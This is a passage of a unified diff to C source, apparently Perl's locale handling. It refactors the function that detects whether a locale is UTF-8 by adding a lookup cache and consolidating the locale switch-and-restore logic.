+     * These work very well for non-Latin locales or those whose currency
+     * symbol isn't a '$' nor plain ASCII text.  But without LC_CTYPE and at
+     * least MB_CUR_MAX, English locales with an ASCII currency symbol depend
+     * on the name containing UTF-8 or not. */
 
-    char *save_input_locale = NULL;
-    STRLEN final_pos;
+    /* Name of current locale corresponding to the input category */
+    const char *save_input_locale = NULL;
 
-#ifdef LC_ALL
+    bool is_utf8 = FALSE;                /* The return value */
+
+    /* The variables below are for the cache of previous lookups using this
+     * function.  The cache is a C string, described at the definition for
+     * 'C_and_POSIX_utf8ness'.
+     *
+     * The first part of the cache is fixed, for the C and POSIX locales.  The
+     * varying part starts just after them. */
+    char * utf8ness_cache = PL_locale_utf8ness + STRLENs(C_and_POSIX_utf8ness);
+
+    Size_t utf8ness_cache_size; /* Size of the varying portion */
+    Size_t input_name_len;      /* Length in bytes of save_input_locale */
+    Size_t input_name_len_with_overhead;    /* plus extra chars used to store
+                                               the name in the cache */
+    char * delimited;           /* The name plus the delimiters used to store
+                                   it in the cache */
+    char * name_pos;            /* position of 'delimited' in the cache, or 0
+                                   if not there */
+
+
+#  ifdef LC_ALL
+
     assert(category != LC_ALL);
-#endif
 
-    /* First dispose of the trivial cases */
-    save_input_locale = setlocale(category, NULL);
+#  endif
+
+    /* Get the desired category's locale */
+    save_input_locale = stdize_locale(savepv(do_setlocale_r(category, NULL)));
     if (! save_input_locale) {
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-                              "Could not find current locale for category %d\n",
-                              category));
-        return FALSE;   /* XXX maybe should croak */
+        Perl_croak(aTHX_
+             "panic: %s: %d: Could not find current %s locale, errno=%d\n",
+                     __FILE__, __LINE__, category_name(category), errno);
     }
-    save_input_locale = stdize_locale(savepv(save_input_locale));
-    if (isNAME_C_OR_POSIX(save_input_locale)) {
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-                              "Current locale for category %d is %s\n",
-                              category, save_input_locale));
-        Safefree(save_input_locale);
-        return FALSE;
-    }
 
-#if defined(USE_LOCALE_CTYPE)    \
-    && (defined(MB_CUR_MAX) || (defined(HAS_NL_LANGINFO) && defined(CODESET)))
+    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                          "Current locale for %s is %s\n",
+                          category_name(category), save_input_locale));
 
-    { /* Next try nl_langinfo or MB_CUR_MAX if available */
+    input_name_len = strlen(save_input_locale);
 
-        char *save_ctype_locale = NULL;
-        bool is_utf8;
+    /* In our cache, each name is accompanied by two delimiters and a single
+     * utf8ness digit */
+    input_name_len_with_overhead = input_name_len + 3;
 
-        if (category != LC_CTYPE) { /* These work only on LC_CTYPE */
+    /* Allocate and populate space for a copy of the name surrounded by the
+     * delimiters */
+    Newx(delimited, input_name_len_with_overhead, char);
+    delimited[0] = UTF8NESS_SEP[0];
+    Copy(save_input_locale, delimited + 1, input_name_len, char);
+    delimited[input_name_len+1] = UTF8NESS_PREFIX[0];
+    delimited[input_name_len+2] = '\0';
 
-            /* Get the current LC_CTYPE locale */
-            save_ctype_locale = setlocale(LC_CTYPE, NULL);
-            if (! save_ctype_locale) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                               "Could not find current locale for LC_CTYPE\n"));
-                goto cant_use_nllanginfo;
-            }
-            save_ctype_locale = stdize_locale(savepv(save_ctype_locale));
+    /* And see if that is in the cache */
+    name_pos = instr(PL_locale_utf8ness, delimited);
+    if (name_pos) {
+        is_utf8 = *(name_pos + input_name_len_with_overhead - 1) - '0';
 
-            /* If LC_CTYPE and the desired category use the same locale, this
-             * means that finding the value for LC_CTYPE is the same as finding
-             * the value for the desired category.  Otherwise, switch LC_CTYPE
-             * to the desired category's locale */
-            if (strEQ(save_ctype_locale, save_input_locale)) {
-                Safefree(save_ctype_locale);
-                save_ctype_locale = NULL;
-            }
-            else if (! setlocale(LC_CTYPE, save_input_locale)) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                                    "Could not change LC_CTYPE locale to %s\n",
-                                    save_input_locale));
-                Safefree(save_ctype_locale);
-                goto cant_use_nllanginfo;
-            }
+#  ifdef DEBUGGING
+
+        if (DEBUG_Lv_TEST || debug_initialization) {
+            PerlIO_printf(Perl_debug_log, "UTF8ness for locale %s=%d, \n",
+                                          save_input_locale, is_utf8);
         }
 
-        DEBUG_L(PerlIO_printf(Perl_debug_log, "Current LC_CTYPE locale=%s\n",
-                                              save_input_locale));
+#  endif
 
+        /* And, if not already in that position, move it to the beginning of
+         * the non-constant portion of the list, since it is the most recently
+         * used.  (We don't have to worry about overflow, since just moving
+         * existing names around) */
+        if (name_pos > utf8ness_cache) {
+            Move(utf8ness_cache,
+                 utf8ness_cache + input_name_len_with_overhead,
+                 name_pos - utf8ness_cache, char);
+            Copy(delimited,
+                 utf8ness_cache,
+                 input_name_len_with_overhead - 1, char);
+            utf8ness_cache[input_name_len_with_overhead - 1] = is_utf8 + '0';
+        }
+
+        Safefree(delimited);
+        Safefree(save_input_locale);
+        return is_utf8;
+    }
+
+    /* Here we don't have stored the utf8ness for the input locale.  We have to
+     * calculate it */
+
+#  if        defined(USE_LOCALE_CTYPE)                                  \
+     && (    defined(HAS_NL_LANGINFO)                                   \
+         || (defined(HAS_MBTOWC) || defined(HAS_MBRTOWC)))
+
+    {
+        const char *original_ctype_locale
+                        = switch_category_locale_to_template(LC_CTYPE,
+                                                             category,
+                                                             save_input_locale);
+
         /* Here the current LC_CTYPE is set to the locale of the category whose
-         * information is desired.  This means that nl_langinfo() and MB_CUR_MAX
+         * information is desired.  This means that nl_langinfo() and mbtowc()
          * should give the correct results */
 
-#   if defined(HAS_NL_LANGINFO) && defined(CODESET)
-        {
-            char *codeset = nl_langinfo(CODESET);
-            if (codeset && strNE(codeset, "")) {
-                codeset = savepv(codeset);
+#    ifdef MB_CUR_MAX  /* But we can potentially rule out UTF-8ness, avoiding
+                          calling the functions if we have this */
 
-                /* If we switched LC_CTYPE, switch back */
-                if (save_ctype_locale) {
-                    setlocale(LC_CTYPE, save_ctype_locale);
-                    Safefree(save_ctype_locale);
-                }
+            /* Standard UTF-8 needs at least 4 bytes to represent the maximum
+             * Unicode code point. */
 
-                is_utf8 = foldEQ(codeset, STR_WITH_LEN("UTF-8"))
-                        || foldEQ(codeset, STR_WITH_LEN("UTF8"));
-
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                       "\tnllanginfo returned CODESET '%s'; ?UTF8 locale=%d\n",
-                                                     codeset,         is_utf8));
-                Safefree(codeset);
-                Safefree(save_input_locale);
-                return is_utf8;
+            DEBUG_L(PerlIO_printf(Perl_debug_log, "%s: %d: MB_CUR_MAX=%d\n",
+                                       __FILE__, __LINE__, (int) MB_CUR_MAX));
+            if ((unsigned) MB_CUR_MAX < STRLENs(MAX_UNICODE_UTF8)) {
+                is_utf8 = FALSE;
+                restore_switched_locale(LC_CTYPE, original_ctype_locale);
+                goto finish_and_return;
             }
-        }
 
-#   endif
-#   ifdef MB_CUR_MAX
+#    endif
+#    if defined(HAS_NL_LANGINFO)
 
-        /* Here, either we don't have nl_langinfo, or it didn't return a
-         * codeset.  Try MB_CUR_MAX */
+        { /* The task is easiest if the platform has this POSIX 2001 function.
+             Except on some platforms it can wrongly return "", so have to have
+             a fallback.  And it can return that it's UTF-8, even if there are
+             variances from that.  For example, Turkish locales may use the
+             alternate dotted I rules, and sometimes it appears to be a
+             defective locale definition.  XXX We should probably check for
+             these in the Latin1 range and warn (but on glibc, requires
+             iswalnum() etc. due to their not handling 80-FF correctly */
+            const char *codeset = my_nl_langinfo(CODESET, FALSE);
+                                          /* FALSE => already in dest locale */
 
-        /* Standard UTF-8 needs at least 4 bytes to represent the maximum
-         * Unicode code point.  Since UTF-8 is the only non-single byte
-         * encoding we handle, we just say any such encoding is UTF-8, and if
-         * turns out to be wrong, other things will fail */
-        is_utf8 = MB_CUR_MAX >= 4;
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+                            "\tnllanginfo returned CODESET '%s'\n", codeset));
 
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-                              "\tMB_CUR_MAX=%d; ?UTF8 locale=%d\n",
-                                   (int) MB_CUR_MAX,      is_utf8));
+            if (codeset && strNE(codeset, "")) {
 
-        Safefree(save_input_locale);
+                              /* If the implementation of foldEQ() somehow were
+                               * to change to not go byte-by-byte, this could
+                               * read past end of string, as only one length is
+                               * checked.  But currently, a premature NUL will
+                               * compare false, and it will stop there */
+                is_utf8 = cBOOL(   foldEQ(codeset, STR_WITH_LEN("UTF-8"))
+                                || foldEQ(codeset, STR_WITH_LEN("UTF8")));
 
-#       ifdef HAS_MBTOWC
-
-        /* ... But, most system that have MB_CUR_MAX will also have mbtowc(),
-         * since they are both in the C99 standard.  We can feed a known byte
-         * string to the latter function, and check that it gives the expected
-         * result */
-        if (is_utf8) {
-            wchar_t wc;
-            PERL_UNUSED_RESULT(mbtowc(&wc, NULL, 0));/* Reset any shift state */
-            errno = 0;
-            if ((size_t)mbtowc(&wc, HYPHEN_UTF8, strlen(HYPHEN_UTF8))
-                                                        != strlen(HYPHEN_UTF8)
-                || wc != (wchar_t) 0x2010)
-            {
-                is_utf8 = FALSE;
-                DEBUG_L(PerlIO_printf(Perl_debug_log, "\thyphen=U+%x\n", (unsigned int)wc));
                 DEBUG_L(PerlIO_printf(Perl_debug_log,
-                        "\treturn from mbtowc=%d; errno=%d; ?UTF8 locale=0\n",
-                        mbtowc(&wc, HYPHEN_UTF8, strlen(HYPHEN_UTF8)), errno));
+                       "\tnllanginfo returned CODESET '%s'; ?UTF8 locale=%d\n",
+                                                     codeset,         is_utf8));
+                restore_switched_locale(LC_CTYPE, original_ctype_locale);
+                goto finish_and_return;
             }
         }
-#       endif
 
-        /* If we switched LC_CTYPE, switch back */
-        if (save_ctype_locale) {
-            setlocale(LC_CTYPE, save_ctype_locale);
-            Safefree(save_ctype_locale);
-        }
+#    endif
+#    if defined(HAS_MBTOWC) || defined(HAS_MBRTOWC)
+     /* We can see if this is a UTF-8-like locale if have mbtowc().  It was a
+      * late adder to C89, so very likely to have it.  However, testing has
+      * shown that, like nl_langinfo() above, there are locales that are not
+      * strictly UTF-8 that this will return that they are */
 
-        return is_utf8;
-#   endif
-    }
+        {
+            wchar_t wc;
+            int len;
+            dSAVEDERRNO;
 
-  cant_use_nllanginfo:
+#      if defined(HAS_MBRTOWC) && defined(USE_ITHREADS)
 
-#else   /* nl_langinfo should work if available, so don't bother compiling this
-           fallback code.  The final fallback of looking at the name is
-           compiled, and will be executed if nl_langinfo fails */
+            mbstate_t ps;
 
-    /* nl_langinfo not available or failed somehow.  Next try looking at the
-     * currency symbol to see if it disambiguates things.  Often that will be
-     * in the native script, and if the symbol isn't in UTF-8, we know that the
-     * locale isn't.  If it is non-ASCII UTF-8, we infer that the locale is
-     * too, as the odds of a non-UTF8 string being valid UTF-8 are quite small
-     * */
+#      endif
 
-#ifdef HAS_LOCALECONV
-#   ifdef USE_LOCALE_MONETARY
-    {
-        char *save_monetary_locale = NULL;
-        bool only_ascii = FALSE;
-        bool is_utf8 = FALSE;
-        struct lconv* lc;
+            /* mbrtowc() and mbtowc() convert a byte string to a wide
+             * character.  Feed a byte string to one of them and check that the
+             * result is the expected Unicode code point */
 
-        /* Like above for LC_CTYPE, we first set LC_MONETARY to the locale of
-         * the desired category, if it isn't that locale already */
+#      if defined(HAS_MBRTOWC) && defined(USE_ITHREADS)
+            /* Prefer this function if available, as it's reentrant */
 
-        if (category != LC_MONETARY) {
+            memset(&ps, 0, sizeof(ps));;
+            PERL_UNUSED_RESULT(mbrtowc(&wc, NULL, 0, &ps)); /* Reset any shift
+                                                               state */
+            SETERRNO(0, 0);
+            len = mbrtowc(&wc, STR_WITH_LEN(REPLACEMENT_CHARACTER_UTF8), &ps);
+            SAVE_ERRNO;
 
-            save_monetary_locale = setlocale(LC_MONETARY, NULL);
-            if (! save_monetary_locale) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not find current locale for LC_MONETARY\n"));
-                goto cant_use_monetary;
-            }
-            save_monetary_locale = stdize_locale(savepv(save_monetary_locale));
+#      else
 
-            if (strEQ(save_monetary_locale, save_input_locale)) {
-                Safefree(save_monetary_locale);
-                save_monetary_locale = NULL;
-            }
-            else if (! setlocale(LC_MONETARY, save_input_locale)) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not change LC_MONETARY locale to %s\n",
-                                                        save_input_locale));
-                Safefree(save_monetary_locale);
-                goto cant_use_monetary;
-            }
-        }
+            LOCALE_LOCK;
+            PERL_UNUSED_RESULT(mbtowc(&wc, NULL, 0));/* Reset any shift state */
+            SETERRNO(0, 0);
+            len = mbtowc(&wc, STR_WITH_LEN(REPLACEMENT_CHARACTER_UTF8));
+            SAVE_ERRNO;
+            LOCALE_UNLOCK;
 
-        /* Here the current LC_MONETARY is set to the locale of the category
-         * whose information is desired. */
+#      endif
 
-        lc = localeconv();
-        if (! lc
-            || ! lc->currency_symbol
-            || is_utf8_invariant_string((U8 *) lc->currency_symbol, 0))
-        {
-            DEBUG_L(PerlIO_printf(Perl_debug_log, "Couldn't get currency symbol for %s, or contains only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
-            only_ascii = TRUE;
-        }
-        else {
-            is_utf8 = is_utf8_string((U8 *) lc->currency_symbol, 0);
-        }
+            RESTORE_ERRNO;
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log,
+                    "\treturn from mbtowc; len=%d; code_point=%x; errno=%d\n",
+                                   len,      (unsigned int) wc, GET_ERRNO));
 
-        /* If we changed it, restore LC_MONETARY to its original locale */
-        if (save_monetary_locale) {
-            setlocale(LC_MONETARY, save_monetary_locale);
-            Safefree(save_monetary_locale);
+            is_utf8 = cBOOL(   len == STRLENs(REPLACEMENT_CHARACTER_UTF8)
+                            && wc == (wchar_t) UNICODE_REPLACEMENT);
         }
 
-        if (! only_ascii) {
-
-            /* It isn't a UTF-8 locale if the symbol is not legal UTF-8;
-             * otherwise assume the locale is UTF-8 if and only if the symbol
-             * is non-ascii UTF-8. */
-            DEBUG_L(PerlIO_printf(Perl_debug_log, "\t?Currency symbol for %s is UTF-8=%d\n",
-                                    save_input_locale, is_utf8));
-            Safefree(save_input_locale);
-            return is_utf8;
-        }
+        restore_switched_locale(LC_CTYPE, original_ctype_locale);
+        goto finish_and_return;
     }
-  cant_use_monetary:
 
-#   endif /* USE_LOCALE_MONETARY */
-#endif /* HAS_LOCALECONV */
+#    endif
+#  else
 
-#if defined(HAS_STRFTIME) && defined(USE_LOCALE_TIME)
+        /* Here, we must have a C89 compiler that doesn't have mbtowc().  Next
+         * try looking at the currency symbol to see if it disambiguates
+         * things.  Often that will be in the native script, and if the symbol
+         * isn't in UTF-8, we know that the locale isn't.  If it is non-ASCII
+         * UTF-8, we infer that the locale is too, as the odds of a non-UTF8
+         * string being valid UTF-8 are quite small */
 
-/* Still haven't found a non-ASCII string to disambiguate UTF-8 or not.  Try
- * the names of the months and weekdays, timezone, and am/pm indicator */
-    {
-        char *save_time_locale = NULL;
-        int hour = 10;
-        bool is_dst = FALSE;
-        int dom = 1;
-        int month = 0;
-        int i;
-        char * formatted_time;
+#    ifdef USE_LOCALE_MONETARY
 
+        /* If have LC_MONETARY, we can look at the currency symbol.  Often that
+         * will be in the native script.  We do this one first because there is
+         * just one string to examine, so potentially avoids work */
 
-        /* Like above for LC_MONETARY, we set LC_TIME to the locale of the
-         * desired category, if it isn't that locale already */
+        {
+            const char *original_monetary_locale
+                        = switch_category_locale_to_template(LC_MONETARY,
+                                                             category,
+                                                             save_input_locale);
+            bool only_ascii = FALSE;
+            const U8 * currency_string
+                            = (const U8 *) my_nl_langinfo(CRNCYSTR, FALSE);
+                                      /* 2nd param not relevant for this item */
+            const U8 * first_variant;
 
-        if (category != LC_TIME) {
+            assert(   *currency_string == '-'
+                   || *currency_string == '+'
+                   || *currency_string == '.');
 
-            save_time_locale = setlocale(LC_TIME, NULL);
-            if (! save_time_locale) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not find current locale for LC_TIME\n"));
-                goto cant_use_time;
-            }
-            save_time_locale = stdize_locale(savepv(save_time_locale));
+            currency_string++;
 
-            if (strEQ(save_time_locale, save_input_locale)) {
-                Safefree(save_time_locale);
-                save_time_locale = NULL;
+            if (is_utf8_invariant_string_loc(currency_string, 0, &first_variant))
+            {
+                DEBUG_L(PerlIO_printf(Perl_debug_log, "Couldn't get currency symbol for %s, or contains only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
+                only_ascii = TRUE;
             }
-            else if (! setlocale(LC_TIME, save_input_locale)) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not change LC_TIME locale to %s\n",
-                                                        save_input_locale));
-                Safefree(save_time_locale);
-                goto cant_use_time;
+            else {
+                is_utf8 = is_strict_utf8_string(first_variant, 0);
             }
-        }
 
-        /* Here the current LC_TIME is set to the locale of the category
-         * whose information is desired.  Look at all the days of the week and
-         * month names, and the timezone and am/pm indicator for UTF-8 variant
-         * characters.  The first such a one found will tell us if the locale
-         * is UTF-8 or not */
+            restore_switched_locale(LC_MONETARY, original_monetary_locale);
 
-        for (i = 0; i < 7 + 12; i++) {  /* 7 days; 12 months */
-            formatted_time = my_strftime("%A %B %Z %p",
-                                    0, 0, hour, dom, month, 112, 0, 0, is_dst);
-            if ( ! formatted_time
-                || is_utf8_invariant_string((U8 *) formatted_time, 0))
-            {
+            if (! only_ascii) {
 
-                /* Here, we didn't find a non-ASCII.  Try the next time through
-                 * with the complemented dst and am/pm, and try with the next
-                 * weekday.  After we have gotten all weekdays, try the next
-                 * month */
-                is_dst = ! is_dst;
-                hour = (hour + 12) % 24;
-                dom++;
-                if (i > 6) {
-                    month++;
-                }
-                continue;
+                /* It isn't a UTF-8 locale if the symbol is not legal UTF-8;
+                 * otherwise assume the locale is UTF-8 if and only if the symbol
+                 * is non-ascii UTF-8. */
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log, "\t?Currency symbol for %s is UTF-8=%d\n",
+                                        save_input_locale, is_utf8));
+                goto finish_and_return;
             }
-
-            /* Here, we have a non-ASCII.  Return TRUE is it is valid UTF8;
-             * false otherwise.  But first, restore LC_TIME to its original
-             * locale if we changed it */
-            if (save_time_locale) {
-                setlocale(LC_TIME, save_time_locale);
-                Safefree(save_time_locale);
-            }
-
-            DEBUG_L(PerlIO_printf(Perl_debug_log, "\t?time-related strings for %s are UTF-8=%d\n",
-                                save_input_locale,
-                                is_utf8_string((U8 *) formatted_time, 0)));
-            Safefree(save_input_locale);
-            return is_utf8_string((U8 *) formatted_time, 0);
         }
 
-        /* Falling off the end of the loop indicates all the names were just
-         * ASCII.  Go on to the next test.  If we changed it, restore LC_TIME
-         * to its original locale */
-        if (save_time_locale) {
-            setlocale(LC_TIME, save_time_locale);
-            Safefree(save_time_locale);
-        }
-        DEBUG_L(PerlIO_printf(Perl_debug_log, "All time-related words for %s contain only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
-    }
-  cant_use_time:
+#    endif /* USE_LOCALE_MONETARY */
+#    if defined(HAS_STRFTIME) && defined(USE_LOCALE_TIME)
 
-#endif
+    /* Still haven't found a non-ASCII string to disambiguate UTF-8 or not.  Try
+     * the names of the months and weekdays, timezone, and am/pm indicator */
+        {
+            const char *original_time_locale
+                            = switch_category_locale_to_template(LC_TIME,
+                                                                 category,
+                                                                 save_input_locale);
+            int hour = 10;
+            bool is_dst = FALSE;
+            int dom = 1;
+            int month = 0;
+            int i;
+            char * formatted_time;
 
-#if 0 && defined(USE_LOCALE_MESSAGES) && defined(HAS_SYS_ERRLIST)
+            /* Here the current LC_TIME is set to the locale of the category
+             * whose information is desired.  Look at all the days of the week and
+             * month names, and the timezone and am/pm indicator for UTF-8 variant
+             * characters.  The first such a one found will tell us if the locale
+             * is UTF-8 or not */
 
-/* This code is ifdefd out because it was found to not be necessary in testing
- * on our dromedary test machine, which has over 700 locales.  There, this
- * added no value to looking at the currency symbol and the time strings.  I
- * left it in so as to avoid rewriting it if real-world experience indicates
- * that dromedary is an outlier.  Essentially, instead of returning abpve if we
- * haven't found illegal utf8, we continue on and examine all the strerror()
- * messages on the platform for utf8ness.  If all are ASCII, we still don't
- * know the answer; but otherwise we have a pretty good indication of the
- * utf8ness.  The reason this doesn't help much is that the messages may not
- * have been translated into the locale.  The currency symbol and time strings
- * are much more likely to have been translated.  */
-    {
-        int e;
-        bool is_utf8 = FALSE;
-        bool non_ascii = FALSE;
-        char *save_messages_locale = NULL;
-        const char * errmsg = NULL;
+            for (i = 0; i < 7 + 12; i++) {  /* 7 days; 12 months */
+                formatted_time = my_strftime("%A %B %Z %p",
+                                0, 0, hour, dom, month, 2012 - 1900, 0, 0, is_dst);
+                if ( ! formatted_time
+                    || is_utf8_invariant_string((U8 *) formatted_time, 0))
+                {
 
-        /* Like above, we set LC_MESSAGES to the locale of the desired
-         * category, if it isn't that locale already */
+                    /* Here, we didn't find a non-ASCII.  Try the next time through
+                     * with the complemented dst and am/pm, and try with the next
+                     * weekday.  After we have gotten all weekdays, try the next
+                     * month */
+                    is_dst = ! is_dst;
+                    hour = (hour + 12) % 24;
+                    dom++;
+                    if (i > 6) {
+                        month++;
+                    }
+                    continue;
+                }
 
-        if (category != LC_MESSAGES) {
+                /* Here, we have a non-ASCII.  Return TRUE is it is valid UTF8;
+                 * false otherwise.  But first, restore LC_TIME to its original
+                 * locale if we changed it */
+                restore_switched_locale(LC_TIME, original_time_locale);
 
-            save_messages_locale = setlocale(LC_MESSAGES, NULL);
-            if (! save_messages_locale) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not find current locale for LC_MESSAGES\n"));
-                goto cant_use_messages;
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log, "\t?time-related strings for %s are UTF-8=%d\n",
+                                    save_input_locale,
+                                    is_utf8_string((U8 *) formatted_time, 0)));
+                is_utf8 = is_utf8_string((U8 *) formatted_time, 0);
+                goto finish_and_return;
             }
-            save_messages_locale = stdize_locale(savepv(save_messages_locale));
 
-            if (strEQ(save_messages_locale, save_input_locale)) {
-                Safefree(save_messages_locale);
-                save_messages_locale = NULL;
-            }
-            else if (! setlocale(LC_MESSAGES, save_input_locale)) {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                            "Could not change LC_MESSAGES locale to %s\n",
-                                                        save_input_locale));
-                Safefree(save_messages_locale);
-                goto cant_use_messages;
-            }
+            /* Falling off the end of the loop indicates all the names were just
+             * ASCII.  Go on to the next test.  If we changed it, restore LC_TIME
+             * to its original locale */
+            restore_switched_locale(LC_TIME, original_time_locale);
+            DEBUG_Lv(PerlIO_printf(Perl_debug_log, "All time-related words for %s contain only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
         }
 
-        /* Here the current LC_MESSAGES is set to the locale of the category
-         * whose information is desired.  Look through all the messages.  We
-         * can't use Strerror() here because it may expand to code that
-         * segfaults in miniperl */
+#    endif
 
-        for (e = 0; e <= sys_nerr; e++) {
-            errno = 0;
-            errmsg = sys_errlist[e];
-            if (errno || !errmsg) {
-                break;
-            }
-            errmsg = savepv(errmsg);
-            if (! is_utf8_invariant_string((U8 *) errmsg, 0)) {
-                non_ascii = TRUE;
-                is_utf8 = is_utf8_string((U8 *) errmsg, 0);
-                break;
-            }
-        }
-        Safefree(errmsg);
+#    if 0 && defined(USE_LOCALE_MESSAGES) && defined(HAS_SYS_ERRLIST)
 
-        /* And, if we changed it, restore LC_MESSAGES to its original locale */
-        if (save_messages_locale) {
-            setlocale(LC_MESSAGES, save_messages_locale);
-            Safefree(save_messages_locale);
-        }
+    /* This code is ifdefd out because it was found to not be necessary in testing
+     * on our dromedary test machine, which has over 700 locales.  There, this
+     * added no value to looking at the currency symbol and the time strings.  I
+     * left it in so as to avoid rewriting it if real-world experience indicates
+     * that dromedary is an outlier.  Essentially, instead of returning abpve if we
+     * haven't found illegal utf8, we continue on and examine all the strerror()
+     * messages on the platform for utf8ness.  If all are ASCII, we still don't
+     * know the answer; but otherwise we have a pretty good indication of the
+     * utf8ness.  The reason this doesn't help much is that the messages may not
+     * have been translated into the locale.  The currency symbol and time strings
+     * are much more likely to have been translated.  */
+        {
+            int e;
+            bool non_ascii = FALSE;
+            const char *original_messages_locale
+                            = switch_category_locale_to_template(LC_MESSAGES,
+                                                                 category,
+                                                                 save_input_locale);
+            const char * errmsg = NULL;
 
-        if (non_ascii) {
+            /* Here the current LC_MESSAGES is set to the locale of the category
+             * whose information is desired.  Look through all the messages.  We
+             * can't use Strerror() here because it may expand to code that
+             * segfaults in miniperl */
 
-            /* Any non-UTF-8 message means not a UTF-8 locale; if all are valid,
-             * any non-ascii means it is one; otherwise we assume it isn't */
-            DEBUG_L(PerlIO_printf(Perl_debug_log, "\t?error messages for %s are UTF-8=%d\n",
-                                save_input_locale,
-                                is_utf8));
-            Safefree(save_input_locale);
-            return is_utf8;
-        }
+            for (e = 0; e <= sys_nerr; e++) {
+                errno = 0;
+                errmsg = sys_errlist[e];
+                if (errno || !errmsg) {
+                    break;
+                }
+                errmsg = savepv(errmsg);
+                if (! is_utf8_invariant_string((U8 *) errmsg, 0)) {
+                    non_ascii = TRUE;
+                    is_utf8 = is_utf8_string((U8 *) errmsg, 0);
+                    break;
+                }
+            }
+            Safefree(errmsg);
 
-        DEBUG_L(PerlIO_printf(Perl_debug_log, "All error messages for %s contain only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
-    }
-  cant_use_messages:
+            restore_switched_locale(LC_MESSAGES, original_messages_locale);
 
-#endif
+            if (non_ascii) {
 
-#endif /* the code that is compiled when no nl_langinfo */
+                /* Any non-UTF-8 message means not a UTF-8 locale; if all are valid,
+                 * any non-ascii means it is one; otherwise we assume it isn't */
+                DEBUG_Lv(PerlIO_printf(Perl_debug_log, "\t?error messages for %s are UTF-8=%d\n",
+                                    save_input_locale,
+                                    is_utf8));
+                goto finish_and_return;
+            }
 
-#ifndef EBCDIC  /* On os390, even if the name ends with "UTF-8', it isn't a
+            DEBUG_L(PerlIO_printf(Perl_debug_log, "All error messages for %s contain only ASCII; can't use for determining if UTF-8 locale\n", save_input_locale));
+        }
+
+#    endif
+#    ifndef EBCDIC  /* On os390, even if the name ends with "UTF-8', it isn't a
                    UTF-8 locale */
+
     /* As a last resort, look at the locale name to see if it matches
      * qr/UTF -?  * 8 /ix, or some other common locale names.  This "name", the
      * return of setlocale(), is actually defined to be opaque, so we can't
@@ -2428,80 +4816,193 @@
      * its UTF-8ness, but if it has UTF8 in the name, it is extremely likely to
      * be a UTF-8 locale.  Similarly for the other common names */
 
-    final_pos = strlen(save_input_locale) - 1;
-    if (final_pos >= 3) {
-        char *name = save_input_locale;
+    {
+        const Size_t final_pos = strlen(save_input_locale) - 1;
 
-        /* Find next 'U' or 'u' and look from there */
-        while ((name += strcspn(name, "Uu") + 1)
-                                            <= save_input_locale + final_pos - 2)
-        {
-            if (!isALPHA_FOLD_NE(*name, 't')
-                || isALPHA_FOLD_NE(*(name + 1), 'f'))
+        if (final_pos >= 3) {
+            const char *name = save_input_locale;
+
+            /* Find next 'U' or 'u' and look from there */
+            while ((name += strcspn(name, "Uu") + 1)
+                                        <= save_input_locale + final_pos - 2)
             {
-                continue;
-            }
-            name += 2;
-            if (*(name) == '-') {
-                if ((name > save_input_locale + final_pos - 1)) {
-                    break;
+                if (   isALPHA_FOLD_NE(*name, 't')
+                    || isALPHA_FOLD_NE(*(name + 1), 'f'))
+                {
+                    continue;
                 }
-                name++;
+                name += 2;
+                if (*(name) == '-') {
+                    if ((name > save_input_locale + final_pos - 1)) {
+                        break;
+                    }
+                    name++;
+                }
+                if (*(name) == '8') {
+                    DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                        "Locale %s ends with UTF-8 in name\n",
+                                        save_input_locale));
+                    is_utf8 = TRUE;
+                    goto finish_and_return;
+                }
             }
-            if (*(name) == '8') {
-                DEBUG_L(PerlIO_printf(Perl_debug_log,
-                                      "Locale %s ends with UTF-8 in name\n",
-                                      save_input_locale));
-                Safefree(save_input_locale);
-                return TRUE;
-            }
+            DEBUG_L(PerlIO_printf(Perl_debug_log,
+                                "Locale %s doesn't end with UTF-8 in name\n",
+                                    save_input_locale));
         }
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-                              "Locale %s doesn't end with UTF-8 in name\n",
-                                save_input_locale));
-    }
-#endif
 
-#ifdef WIN32
-    /* http://msdn.microsoft.com/en-us/library/windows/desktop/dd317756.aspx */
-    if (final_pos >= 4
-        && *(save_input_locale + final_pos - 0) == '1'
-        && *(save_input_locale + final_pos - 1) == '0'
-        && *(save_input_locale + final_pos - 2) == '0'
-        && *(save_input_locale + final_pos - 3) == '5'
-        && *(save_input_locale + final_pos - 4) == '6')
-    {
-        DEBUG_L(PerlIO_printf(Perl_debug_log,
-                        "Locale %s ends with 10056 in name, is UTF-8 locale\n",
+#      ifdef WIN32
+
+        /* http://msdn.microsoft.com/en-us/library/windows/desktop/dd317756.aspx */
+        if (memENDs(save_input_locale, final_pos, "65001")) {
+            DEBUG_L(PerlIO_printf(Perl_debug_log,
+                        "Locale %s ends with 65001 in name, is UTF-8 locale\n",
                         save_input_locale));
-        Safefree(save_input_locale);
-        return TRUE;
+            is_utf8 = TRUE;
+            goto finish_and_return;
+        }
     }
-#endif
 
+#      endif
+#    endif
+
     /* Other common encodings are the ISO 8859 series, which aren't UTF-8.  But
      * since we are about to return FALSE anyway, there is no point in doing
      * this extra work */
-#if 0
+
+#    if 0
     if (instr(save_input_locale, "8859")) {
         DEBUG_L(PerlIO_printf(Perl_debug_log,
                              "Locale %s has 8859 in name, not UTF-8 locale\n",
                              save_input_locale));
